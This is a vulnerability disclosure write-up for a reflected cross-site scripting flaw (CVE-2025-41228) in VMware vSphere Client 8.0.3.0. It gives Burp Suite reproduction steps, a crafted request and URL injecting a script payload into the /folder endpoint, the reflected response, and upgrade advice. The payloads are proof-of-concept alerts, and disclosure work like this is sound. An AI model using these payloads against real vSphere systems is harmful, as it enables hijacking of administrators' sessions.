# VMware vSphere Client 8.0.3.0 - Reflected Cross-Site Scripting (XSS)
- **Exploit Title**: VMware vSphere Client 8.0.3.0 - Reflected Cross-Site Scripting (XSS)
- **Date**: 2025-08-08
- **Exploit Author**: Imraan Khan (Lich-Sec)
- **Vendor Homepage**: [https://www.vmware.com](https://www.vmware.com)
- **Version**: vSphere Client 8.0.3.0
- **Tested On**: Web interface (Chrome 138)
- **CVE**: CVE-2025-41228
- **Category**: WebApps
---
## Description
A reflected Cross-Site Scripting (XSS) vulnerability exists in VMware vSphere Client version 8.0.3.0. The application fails to sanitize input passed via a query string to the `/folder` endpoint, resulting in arbitrary JavaScript execution when the reflected value is rendered into an HTML form’s `action` attribute.
The vulnerability was confirmed by intercepting a request through Burp Suite and injecting a malicious payload. This XSS only successfully executes when the response is rendered by a browser within an **active session**, such as one initiated via prior authentication.
---
## Steps to Reproduce
### 1. Initiate request to vulnerable endpoint
Open a browser and navigate to:
```
https://host/folder?ht7j4
```
This sends a benign request that you will intercept.
---
### 2. Intercept and modify the request using Burp Suite
With Burp Suite proxy enabled, capture the request and modify the query string to inject the XSS payload:
```
GET /folder?ht7j4"><script>alert('ThisIsAnXSSBug')</script>tnkav=1 HTTP/2
Host: 192.168.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Referer: https://192.168.x.x/
Accept: text/html,application/xhtml+xml
```
Then forward the request to the server.
---
### 3. Observe the reflected payload in the HTTP response
In the Burp HTTP Response, the payload appears unencoded within the HTML:
```html
<form action="/folder?ht7j4"><script>alert('ThisIsAnXSSBug')</script>tnkav=1" method="POST">
<input name="VMware-CSRF-Token" type="hidden" value="..." />
```
This confirms that the payload is reflected back into the HTML in a dangerous context — inside a form’s `action` attribute — allowing script execution.
---
### 4. Trigger script execution
Because the XSS is reflected but only renders within the full browser context, to observe the popup:
- Forward the exact same malicious request using Burp **with an authenticated session (cookies included)**.
- OR, use Burp's **"Open in Browser"** feature (with session cookies) to request the full response as a browser would.
Upon rendering the page, the browser will execute the injected `<script>`.
Example payload URL:
```
https://192.168.x.x/folder?ht7j4"><script>alert(1)</script>tnkav=1
```
---
## Impact
Successful exploitation results in arbitrary JavaScript execution within the vSphere Client’s web interface. This could be leveraged for phishing, session hijacking, or further compromise of the admin's browser session.
---
## Recommendation
Upgrade to VMware vCenter Server version **8.0 U3e or later**, which remediates **CVE-2025-41228**.
---
## References
- https://nvd.nist.gov/vuln/detail/CVE-2025-41228
- https://www.vmware.com/security/advisories
